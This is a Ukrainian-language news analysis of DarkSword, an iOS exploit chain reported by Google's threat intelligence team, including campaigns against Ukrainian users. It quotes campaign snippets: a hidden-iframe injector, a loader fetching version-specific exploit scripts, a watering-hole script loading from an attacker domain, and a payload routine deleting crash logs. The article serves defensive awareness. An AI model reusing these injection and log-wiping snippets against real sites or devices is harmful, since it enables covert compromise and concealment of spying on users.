Google Threat Intelligence Group виявила новий повноцінний експлойт-ланцюг для iOS під назвою DarkSword. Це не одна вразливість, а цілий набір zero-day, який дозволяє атакуючому пройти шлях від браузера до kernel-рівня і повністю захопити пристрій. Найнебезпечніше те, що цей інструмент уже використовують різні актори, включно з кампаніями проти українських користувачів.

DarkSword працює на iOS 18.4–18.7 і використовує шість вразливостей для повного компромату системи. Після зараження на пристрій встановлюється один із трьох payload’ів: GHOSTBLADE, GHOSTKNIFE або GHOSTSABER. Усі вони орієнтовані на шпигунство і крадіжку даних, але відрізняються глибиною контролю над пристроєм.

Атака починається зі звичайної сторінки, яка виглядає як легітимний сервіс. Наприклад, у кейсі з UNC6748 це був сайт під Snapchat. Всередині сторінки запускається JavaScript, який визначає, чи підходить пристрій під атаку, і запускає наступний етап.
if (!sessionStorage.getItem("uid") && isTouchScreen) {
sessionStorage.setItem("uid", '1');
const frame = document.createElement("iframe");
frame.src = "frame.html?" + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = "none";
document.body.appendChild(frame);
} else {
top.location.href = "red";
}
Цей фрагмент виглядає простим, але виконує ключову функцію. Він створює iframe, який запускає наступний етап атаки, і одночасно не дозволяє повторно заражати той самий пристрій.
Далі завантажується loader, який відповідає за підтягування експлойтів:
function getJS(fname,method = 'GET')
{
try
{
url = fname;
let xhr = new XMLHttpRequest();
xhr.open("GET", `${url}` , false);
xhr.send(null);
return xhr.responseText;
}
catch(e)
{
print("got error in getJS: " + e);
}
}
Це фактично “серце” атаки. Loader динамічно підвантажує необхідні модулі залежно від версії iOS.
Далі йде підбір експлойта під конкретну версію системи:
let workerCode = "";
if(ios_version == '18,7')
workerCode = getJS(`rce_worker_18.7.js?${Date.now()}`);
else
workerCode = getJS(`rce_worker_18.6.js?${Date.now()}`);
Саме тут видно, що атака модульна. Різні версії iOS отримують різні варіанти експлойта.
У більш просунутих кампаніях, наприклад у PARS Defense, loader уже використовує шифрування:
const keyPair = generateKeyPair();
const publicKey = exportPublicKeyAsPem(keyPair.publicKey);
const encrypted = self.btoa(publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>', false);
xhr.send(JSON.stringify({ a: encrypted }));
Це означає, що експлойт передається не у відкритому вигляді, а в зашифрованому, що значно ускладнює аналіз.
Після отримання RCE через JavaScriptCore експлойт виходить із sandbox. Спочатку використовується вразливість у GPU-процесі, потім ще одна — для переходу до системного сервісу mediaplaybackd, і вже звідти відбувається ескалація привілеїв до рівня ядра.
Фінальний payload отримує повний доступ до системи. Наприклад, GHOSTKNIFE не тільки збирає дані, а й приховує сліди своєї роботи:
cleanLogs(){
let files = MyHelper.getContentsOfDir("/var/mobile/Library/Logs/CrashReporter/");
for(let file of files){
if(file.includes("SpringBoard") || file.includes("WebKit")){
MyHelper.deleteFileAtPath(file);
}
}
}
Це означає, що навіть у разі крашів система очищається від логів, які могли б видати присутність malware.
Окрема історія — атаки на Україну. Група UNC6353 використовувала watering hole, тобто заражені сайти. Код виглядає максимально просто:
(function () {
const iframe = document.createElement("iframe");
iframe.src = "https://static.cdncounter.net/assets/index.html";
iframe.style.width = "1px";
iframe.style.height = "1px";
iframe.style.opacity = "0.01";
document.body.appendChild(iframe);
})();
Користувач просто заходить на сайт і навіть не підозрює, що в цей момент запускається exploit chain.
У коді також знайшли російськомовний коментар:
“// если uid всё ещё нужен — просто устанавливаем”
Це непрямо підтверджує участь російських операторів у цій кампанії.
Після зараження GHOSTBLADE збирає величезну кількість даних: повідомлення, контакти, історію браузера, Wi-Fi паролі, геолокацію, файли і навіть дані криптогаманців. Інші payload’и можуть записувати звук, робити скріншоти і виконувати довільний код.
DarkSword — це не унікальний випадок. Раніше вже існував експлойт Coruna, який також використовувався різними групами. Але тут ми бачимо новий рівень — один інструмент швидко поширюється між різними акторами, що говорить про комерціалізацію ринку експлойтів.
DarkSword показує, що сучасні мобільні атаки стали більш масштабними і доступними для різних груп. Навіть складні exploit chain більше не залишаються у вузькому колі, а швидко розходяться між різними операторами.
Єдиний реальний захист — це оновлення iOS, використання Lockdown Mode і обережність при переході за підозрілими посиланнями.